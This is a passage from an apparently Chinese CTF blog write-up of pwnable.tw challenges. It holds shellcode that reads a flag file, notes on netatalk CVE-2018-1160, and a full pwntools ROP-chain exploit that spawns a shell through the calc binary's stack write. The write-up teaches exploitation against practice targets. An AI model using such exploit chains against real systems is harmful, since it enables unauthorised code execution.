*/</span><br><span class="line">/* push '/home/orw/flag\x00' */</span><br><span class="line">push 0x1010101</span><br><span class="line">xor dword ptr [esp], 0x1016660</span><br><span class="line">push 0x6c662f77</span><br><span class="line">push 0x726f2f65</span><br><span class="line">push 0x6d6f682f</span><br><span class="line">mov ebx, esp</span><br><span class="line">xor ecx, ecx</span><br><span class="line">xor edx, edx</span><br><span class="line">/* call open() */</span><br><span class="line">push SYS_open /* 5 */</span><br><span class="line">pop eax</span><br><span class="line">int 0x80</span><br><span class="line">/* read(fd='eax', buf='esp', nbytes=0x30) */</span><br><span class="line">mov ebx, eax</span><br><span class="line">mov ecx, esp</span><br><span class="line">push 0x30</span><br><span class="line">pop edx</span><br><span class="line">/* call read() */</span><br><span class="line">push SYS_read /* 3 */</span><br><span class="line">pop eax</span><br><span class="line">int 0x80</span><br><span class="line">/* write(fd=1, buf='esp', n=0x30) */</span><br><span class="line">push 1</span><br><span class="line">pop ebx</span><br><span class="line">mov ecx, esp</span><br><span class="line">push 0x30</span><br><span class="line">pop edx</span><br><span class="line">/* call write() */</span><br><span class="line">push SYS_write /* 4 */</span><br><span class="line">pop eax</span><br><span class="line">int 0x80</span><br></pre></td></tr></table></figure><p>可以看到工具生成的shellcode比我们自己写的要更长一点, 所以如果遇到限制输入长度的情况下, 就需要自己缩减shellcode了</p><p>另外我想在gdb里调试shellcode, 却一直没法在shellcode开头断下, 有大哥知道怎么操作可以教我一下</p><h2 id="CVE-2018-1160"><a href="#CVE-2018-1160" class="headerlink" title="CVE-2018-1160"></a>CVE-2018-1160</h2><p>好家伙不愧是pwnable.tw, 上来第三题就是1day exp编写, 给了源码和libc, 既然作为练习, 首先我们可以搜一波源码</p><p>由于是开源项目netatalk, 我们可以先看一下GitHub的commit, 可以看到细节:</p><p><img src="/images/pwnable-tw做题记录/2021-04-13-00-09-01.png" alt=""></p><p><img src="/images/pwnable-tw做题记录/2021-04-13-00-10-13.png" alt=""></p><p>漏洞是由于在<code>libatalk/dsi/dsi_opensess.c</code>文件中的<code>void dsi_opensession(DSI *dsi)</code>函数, 调用了一个memcpy:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* OpenSession. set up the connection */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">dsi_opensession</span><span class="params">(DSI *dsi)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">size_t</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">uint32_t</span> servquant;</span><br><span class="line"> <span class="keyword">uint32_t</span> replcsize;</span><br><span class="line"> <span class="keyword">int</span> offs;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (setnonblock(dsi->socket, <span class="number">1</span>) < <span class="number">0</span>) {</span><br><span class="line"> LOG(log_error, logtype_dsi, <span class="string">"dsi_opensession: setnonblock: %s"</span>, strerror(errno));</span><br><span class="line"> AFP_PANIC(<span class="string">"setnonblock error"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* parse options */</span></span><br><span class="line"> <span class="keyword">while</span> (i < dsi->cmdlen) {</span><br><span class="line"> <span class="keyword">switch</span> (dsi->commands[i++]) {</span><br><span class="line"> <span class="keyword">case</span> DSIOPT_ATTNQUANT:</span><br><span class="line"> <span class="built_in">memcpy</span>(&dsi->attn_quantum, dsi->commands + i + <span class="number">1</span>, dsi->commands[i]);</span><br><span class="line"> dsi->attn_quantum = ntohl(dsi->attn_quantum);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">case</span> DSIOPT_SERVQUANT: <span class="comment">/* just ignore these */</span></span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> i += dsi->commands[i] + <span class="number">1</span>; <span class="comment">/* forward past length tag + length */</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>我们可以从GitHub clone下漏洞版本进行编译, 安装一些依赖:</p><blockquote><p>sudo apt-get install libtool-bin automake autoconf libgcrypt11-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev libdb-dev</p></blockquote><p>然后设置安装参数</p><blockquote><p>./configure —with-init-style=debian-systemd —without-libevent —without-tdb —with-cracklib —enable-krbV-uam —with-pam-confdir=/etc/pam.d —with-dbus-daemon=/usr/bin/dbus-daemon —with-dbus-sysconf-dir=/etc/dbus-1/system.d —with-tracker-pkgconfig-version=1.0</p></blockquote><p>编译安装</p><blockquote><p>make && make install</p></blockquote><p>在这个函数打断点, 然后运行起来看看哪些东西是我们可控的</p><p>在<code>include/atalk/dsi.h</code>下看一下DSI结构体:</p><p>关键结构体:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* child and parent processes might interpret a couple of these</span></span><br><span class="line"><span class="comment"> * differently. */</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">DSI</span> {</span></span><br><span class="line"> <span class="comment">// ..............................</span></span><br><span class="line"> <span class="keyword">uint32_t</span> attn_quantum, datasize, server_quantum;</span><br><span class="line"> <span class="keyword">uint8_t</span> *commands; <span class="comment">/* DSI recieve buffer */</span></span><br><span class="line"> <span class="keyword">size_t</span> datalen, cmdlen;</span><br><span class="line"> <span class="keyword">int</span> socket; <span class="comment">/* AFP session socket */</span></span><br><span class="line">} DSI;</span><br></pre></td></tr></table></figure><p>先鸽了</p><h3 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h3><ul><li><a href="http://netatalk.sourceforge.net/3.1/htmldocs/configuration.html">http://netatalk.sourceforge.net/3.1/htmldocs/configuration.html</a></li><li><a href="https://ruan777.github.io/2020/02/14/Netatalk-CVE-2018-1160-%E5%88%86%E6%9E%90/">https://ruan777.github.io/2020/02/14/Netatalk-CVE-2018-1160-%E5%88%86%E6%9E%90/</a></li><li><a href="https://github.com/Netatalk/Netatalk/commit/750f9b55844b444b8ff1a38206fd2bdbab85c21f?branch=750f9b55844b444b8ff1a38206fd2bdbab85c21f&diff=unified">https://github.com/Netatalk/Netatalk/commit/750f9b55844b444b8ff1a38206fd2bdbab85c21f?branch=750f9b55844b444b8ff1a38206fd2bdbab85c21f&diff=unified</a></li><li><a href="https://github.com/Netatalk/Netatalk/commits/branch-netatalk-3-1">https://github.com/Netatalk/Netatalk/commits/branch-netatalk-3-1</a></li></ul><h2 id="calc"><a href="#calc" class="headerlink" title="calc"></a>calc</h2><p>32位程序, 看一眼防护:</p><p><img src="/images/pwnable-tw做题记录/2021-04-15-23-58-07.png" alt=""></p><p>运行起来是一个计算器, 输入算式输出结果, 随便输了点数字, 有个整数溢出:</p><p><img src="/images/pwnable-tw做题记录/2021-04-15-23-58-27.png" alt=""></p><p>主函数:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">calc</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v1[<span class="number">101</span>]; <span class="comment">// [esp+18h] [ebp-5A0h] BYREF</span></span><br><span class="line"> <span class="keyword">char</span> s[<span class="number">1024</span>]; <span class="comment">// [esp+1ACh] [ebp-40Ch] BYREF</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+5ACh] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line"> <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line"> {</span><br><span class="line"> bzero(s, <span class="number">1024</span>); <span class="comment">// 把s的1024字节清零</span></span><br><span class="line"> <span class="keyword">if</span> ( !get_expr((<span class="keyword">int</span>)s, <span class="number">1024</span>) ) <span class="comment">// 输入算式</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> init_pool(v1); <span class="comment">// 清零结果</span></span><br><span class="line"> <span class="keyword">if</span> ( parse_expr((<span class="keyword">int</span>)s, v1) ) <span class="comment">// 计算结果</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%d\n"</span>, v1[v1[<span class="number">0</span>]]);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>算式输入函数:<br>把我们的输入放在栈上, 并且限制只能输入<code>+, -, *, /, %, 0-9</code> </p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">get_expr</span><span class="params">(_BYTE *<span class="built_in">buffer</span>, <span class="keyword">int</span> len)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v2; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">char</span> temp; <span class="comment">// [esp+1Bh] [ebp-Dh] BYREF</span></span><br><span class="line"> <span class="keyword">int</span> count; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> count = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> ( count < len && <span class="built_in">read</span>(<span class="number">0</span>, &temp, <span class="number">1</span>) != <span class="number">-1</span> && temp != <span class="string">'\n'</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( temp == <span class="string">'+'</span> || temp == <span class="string">'-'</span> || temp == <span class="string">'*'</span> || temp == <span class="string">'/'</span> || temp == <span class="string">'%'</span> || temp > <span class="string">'/'</span> && temp <= <span class="string">'9'</span> )</span><br><span class="line"> {</span><br><span class="line"> v2 = count++; <span class="comment">// 先赋值给v2, 然后自增</span></span><br><span class="line"> <span class="built_in">buffer</span>[v2] = temp; <span class="comment">// 把算式写进栈里</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">buffer</span>[count] = <span class="number">0</span>; <span class="comment">// 结尾\0截断</span></span><br><span class="line"> <span class="keyword">return</span> count;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>计算函数:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">parse_expr</span><span class="params">(<span class="keyword">char</span> *<span class="built_in">buffer</span>, _DWORD *pool)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line"> <span class="keyword">char</span> *v4; <span class="comment">// [esp+20h] [ebp-88h]</span></span><br><span class="line"> <span class="keyword">int</span> i; <span class="comment">// [esp+24h] [ebp-84h]</span></span><br><span class="line"> <span class="keyword">int</span> count; <span class="comment">// [esp+28h] [ebp-80h]</span></span><br><span class="line"> <span class="keyword">int</span> index; <span class="comment">// [esp+2Ch] [ebp-7Ch]</span></span><br><span class="line"> <span class="keyword">char</span> *s1; <span class="comment">// [esp+30h] [ebp-78h]</span></span><br><span class="line"> <span class="keyword">int</span> v9; <span class="comment">// [esp+34h] [ebp-74h]</span></span><br><span class="line"> <span class="keyword">char</span> s[<span class="number">100</span>]; <span class="comment">// [esp+38h] [ebp-70h] BYREF</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">int</span> v11; <span class="comment">// [esp+9Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line"> v11 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line"> v4 = <span class="built_in">buffer</span>;</span><br><span class="line"> count = <span class="number">0</span>;</span><br><span class="line"> bzero(s, <span class="number">100u</span>);</span><br><span class="line"> <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * 这里如果是数字, 计算结果是0-9, cmp eax, 9的时候, 是不大于于9的</span></span><br><span class="line"><span class="comment"> * 如果是符号或者\0, sub eax, 0x30后会变成0xfffffff?, 比较的时候是以unsigned int比较的, 所以这个判断可以读取符号以及判断结尾</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">buffer</span>[i] - (<span class="keyword">unsigned</span> <span class="keyword">int</span>)<span class="string">'0'</span> > <span class="number">9</span> ) <span class="comment">// if current char is not a number</span></span><br><span class="line"> {</span><br><span class="line"> index = &<span class="built_in">buffer</span>[i] - v4;</span><br><span class="line"> s1 = (<span class="keyword">char</span> *)<span class="built_in">malloc</span>(index + <span class="number">1</span>);</span><br><span class="line"> <span class="built_in">memcpy</span>(s1, v4, index); <span class="comment">// 把符号前面的东西, 放进malloc的堆里, 比如123+1, index=3, memcpy(s1, "123+1", 3)</span></span><br><span class="line"> s1[index] = <span class="number">0</span>; <span class="comment">// 加'\0'截断</span></span><br><span class="line"> <span class="keyword">if</span> ( !<span class="built_in">strcmp</span>(s1, <span class="string">"0"</span>) ) <span class="comment">// 如果输入的数字是0, 会直接返回</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"prevent division by zero"</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> v9 = atoi(s1); <span class="comment">// 数字字符串转换成数字</span></span><br><span class="line"> <span class="keyword">if</span> ( v9 > <span class="number">0</span> )</span><br><span class="line"> {</span><br><span class="line"> v3 = (*pool)++; <span class="comment">// pool[0]应该是作为计数器, 统计数字数量</span></span><br><span class="line"> pool[v3 + <span class="number">1</span>] = v9; <span class="comment">// v3是当前有多少个数字, 那么新数字会存在pool[1-100]里</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( <span class="built_in">buffer</span>[i] && <span class="built_in">buffer</span>[i + <span class="number">1</span>] - (<span class="keyword">unsigned</span> <span class="keyword">int</span>)<span class="string">'0'</span> > <span class="number">9</span> ) <span class="comment">// buffer[i]不是数字, 并且buffer[i+1]也不是数字, 即1+-2这种情况</span></span><br><span class="line"> {</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"expression error!"</span>);</span><br><span class="line"> fflush(<span class="built_in">stdout</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> v4 = &<span class="built_in">buffer</span>[i + <span class="number">1</span>];</span><br><span class="line"> <span class="keyword">if</span> ( s[count] ) <span class="comment">// s是一个100大小的字符数组, 初始化为全0, 如果不为0执行下面switch, 如果为0则存buffer[i], 也就是第一个符号</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">switch</span> ( <span class="built_in">buffer</span>[i] ) <span class="comment">// 根据符号去执行计算函数</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'%'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'*'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'/'</span>:</span><br><span class="line"> <span class="keyword">if</span> ( s[count] != <span class="string">'+'</span> && s[count] != <span class="string">'-'</span> )</span><br><span class="line"> <span class="keyword">goto</span> LABEL_14;</span><br><span class="line"> s[++count] = <span class="built_in">buffer</span>[i]; <span class="comment">// 如果前一个符号不是+-, 并且当前符号是%*/</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'+'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'-'</span>:</span><br><span class="line">LABEL_14:</span><br><span class="line"> eval(pool, s[count]); <span class="comment">// 计算函数</span></span><br><span class="line"> s[count] = <span class="built_in">buffer</span>[i];</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> eval(pool, s[count--]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> s[count] = <span class="built_in">buffer</span>[i];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ( !<span class="built_in">buffer</span>[i] )</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">while</span> ( count >= <span class="number">0</span> )</span><br><span class="line"> eval(pool, s[count--]);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>再看看实际计算结果的函数:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> *__cdecl <span class="title">eval</span><span class="params">(<span class="keyword">int</span> *pool, <span class="keyword">char</span> symbol)</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">int</span> *result; <span class="comment">// eax</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ( symbol == <span class="string">'+'</span> )</span><br><span class="line"> {</span><br><span class="line"> pool[*pool - <span class="number">1</span>] += pool[*pool]; <span class="comment">// pool[pool[0] - 1] += pool[pool[0]], pool[0]用来保存pool中有多少个数字</span></span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( symbol > <span class="string">'+'</span> )</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ( symbol == <span class="string">'-'</span> )</span><br><span class="line"> {</span><br><span class="line"> pool[*pool - <span class="number">1</span>] -= pool[*pool];</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( symbol == <span class="string">'/'</span> )</span><br><span class="line"> {</span><br><span class="line"> pool[*pool - <span class="number">1</span>] /= pool[*pool];</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> <span class="keyword">if</span> ( symbol == <span class="string">'*'</span> )</span><br><span class="line"> {</span><br><span class="line"> pool[*pool - <span class="number">1</span>] *= pool[*pool];</span><br><span class="line"> }</span><br><span class="line"> result = pool;</span><br><span class="line"> --*pool;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>程序逻辑并不复杂, 审视一波容易出漏洞的地方, 应该就是复制符号到符号数组那里</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"> <span class="keyword">if</span> ( s[count] ) <span class="comment">// s是一个100大小的字符数组, 初始化为全0, 如果不为0执行下面switch, 如果为0则存buffer[i], 也就是第一个符号</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">switch</span> ( <span class="built_in">buffer</span>[i] ) <span class="comment">// 根据符号去执行计算函数</span></span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'%'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'*'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'/'</span>:</span><br><span class="line"> <span class="keyword">if</span> ( s[count] != <span class="string">'+'</span> && s[count] != <span class="string">'-'</span> )</span><br><span class="line"> <span class="keyword">goto</span> LABEL_14;</span><br><span class="line"> s[++count] = <span class="built_in">buffer</span>[i]; <span class="comment">// 如果前一个符号不是+-, 并且当前符号是%*/</span></span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'+'</span>:</span><br><span class="line"> <span class="keyword">case</span> <span class="string">'-'</span>:</span><br><span class="line">LABEL_14:</span><br><span class="line"> eval(pool, s[count]); <span class="comment">// 计算函数</span></span><br><span class="line"> s[count] = <span class="built_in">buffer</span>[i];</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> eval(pool, s[count--]);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> s[count] = <span class="built_in">buffer</span>[i];</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>假设输入<code>1+2*3+4*5</code>, 我们第一个符号传入的是<code>+</code>, 会放到<code>s</code>里, 第二个符号如果是<code>*</code>, 同样会放进<code>s</code>里, 第三个符号<code>+</code>, 执行<code>eval(pool, '*')</code>, 计算出<code>2*3</code>的结果, 然后把<code>s</code>中的<code>*</code>替换成第三个符号<code>+</code>, 下一轮读到的<code>*</code>, 同样会放入<code>s</code>中, 此时<code>s</code>中保存的是<code>+, +, *</code>, 由于我们可以向<code>buffer</code>中输入<code>1024B</code>的数据, 可以输入<code>512B</code>的数字和<code>511B</code>的符号, 这<code>511B</code>的符号会以上述的方式, 向<code>s</code>中写入<code>256B</code>的符号, 而<code>s</code>的大小是<code>100</code>, 导致了栈溢出</p><p>我们把断点打到函数结尾看看情况<code>b *0x08049376</code>:</p><p><img src="/images/pwnable-tw做题记录/2021-04-26-10-44-24.png" alt=""></p><p>可以看到canary被我们覆盖了, 那么想利用的话肯定要绕过canary的, 所以这个点无法利用</p><p>再看一下eval函数:</p><pre><code>pool[pool[0] - 1] += pool[pool[0]], pool[0]用来保存pool中有多少个数字</code></pre><p>如果我们输入的是类似于<code>1+2</code>形式的表达式, 第一次进入eval函数的时候, pool[0]=2, pool[1]用来保存计算结果</p><p>而如果输入的是<code>+1</code>的形式, 此时pool[0]=1, eval的时候是pool[0]=pool[1], 就可以控制pool进行栈上的任意写了, 由此可以绕过canary来修改返回地址</p><p>程序开启了NX, 所以无法写shellcode来执行</p><pre><code>➜ calc file calccalc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped</code></pre><p>注意到程序是静态链接的, 可以用ROPgadeget来找ROP Chain:</p><pre><code>➜ calc ROPgadget --binary calc --ropchain</code></pre><p>pool的位置是<code>$ebp-0x5a0</code>, 是一个int32的数组, 4字节为一位, 所以如果我们要访问pool[1], 它在内存中的偏移应该是<code>$ebp-0x5a0+0x4</code>, 而返回地址的偏移是<code>$ebp+0x4</code>, 即对应pool的下标是<code>(0x5a0+4) / 4 = 361</code></p><p>输入<code>+360+57005(0xdead)</code></p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">// parse_expr</span></span><br><span class="line">v9 = atoi(s1);</span><br><span class="line"><span class="keyword">if</span> ( v9 > <span class="number">0</span> )</span><br><span class="line">{</span><br><span class="line"> v3 = (*pool)++;</span><br><span class="line"> pool[v3 + <span class="number">1</span>] = v9;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>我们输入的第二个数字, 进入到这里时, 会先给<code>pool[0] ++</code>, 所以我们输入<code>+360</code>, 到这里就变成了<code>pool[361]=0xdead</code>:</p><p><img src="/images/pwnable-tw做题记录/2021-04-26-15-55-14.png" alt=""></p><p>通过这种方式来不断向栈里写入rop链, 每次写4个字节, 由于程序还会在<code>eval</code>函数中, 执行<code>pool[index - 1] += pool[index]</code>, 所以我们应该把rop链从后往前写, 否则会导致第二个写入的数据累加在前一个写入的位置</p><p>exp:<br><figure class="highlight py"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">r = process(<span class="string">'./calc'</span>)</span><br><span class="line">calc_elf = ELF(<span class="string">'./calc'</span>)</span><br><span class="line"><span class="comment"># execve generated by ROPgadget</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"></span><br><span class="line"><span class="comment"># Padding goes here</span></span><br><span class="line">p = <span class="string">''</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080701aa</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec060</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0805c34b</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">'/bin'</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0809b30d</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080701aa</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec064</span>) <span class="comment"># @ .data + 4</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0805c34b</span>) <span class="comment"># pop eax ; ret</span></span><br><span class="line">p += <span class="string">'//sh'</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0809b30d</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080701aa</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080550d0</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0809b30d</span>) <span class="comment"># mov dword ptr [edx], eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080481d1</span>) <span class="comment"># pop ebx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec060</span>) <span class="comment"># @ .data</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080701d1</span>) <span class="comment"># pop ecx ; pop ebx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec060</span>) <span class="comment"># padding without overwrite ebx</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080701aa</span>) <span class="comment"># pop edx ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080ec068</span>) <span class="comment"># @ .data + 8</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x080550d0</span>) <span class="comment"># xor eax, eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x0807cb7f</span>) <span class="comment"># inc eax ; ret</span></span><br><span class="line">p += pack(<span class="string">'<I'</span>, <span class="number">0x08049a21</span>) <span class="comment"># int 0x80</span></span><br><span class="line"></span><br><span class="line">rop_chain_len = len(p) / <span class="number">4</span> <span class="comment"># 34</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(rop_chain_len): <span class="comment"># 0 - 34</span></span><br><span class="line"> temp = rop_chain_len - i - <span class="number">1</span></span><br><span class="line"> s = <span class="string">'+'</span> + str(<span class="number">360</span> + temp) + <span class="string">'+'</span> + str(u32(p[temp * <span class="number">4</span>: temp * <span class="number">4</span> + <span class="number">4</span>]))</span><br><span class="line"> r.sendlineafter(<span class="string">'\n'</span>, s)</span><br><span class="line"></span><br><span class="line">r.sendlineafter(<span class="string">'\n'</span>, <span class="string">'a'</span>)</span><br><span class="line">r.interactive(<span class="string">'1nv0k3r$: '</span>)</span><br></pre></td></tr></table></figure></p><h2 id="3x17"><a href="#3x17" class="headerlink" title="3x17"></a>3x17</h2><p>64位静态编译程序, 先运行一波, 看起来好像是给了个任意写? 根据提示字符串定位到主函数, 符号全删了好家伙, 根据提示字符串定位到主函数, 然后根据参数和功能, 应该可以看出来, 主函数给了一个任意地址写, 提供一个0x18的地址, 写入0x18的数据:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">sub_401B6D</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> __int64 result; <span class="comment">// rax</span></span><br><span class="line"> <span class="keyword">char</span> *v1; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">24</span>]; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line"> <span class="keyword">unsigned</span> __int64 v3; <span class="comment">// [rsp+28h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line"> v3 = 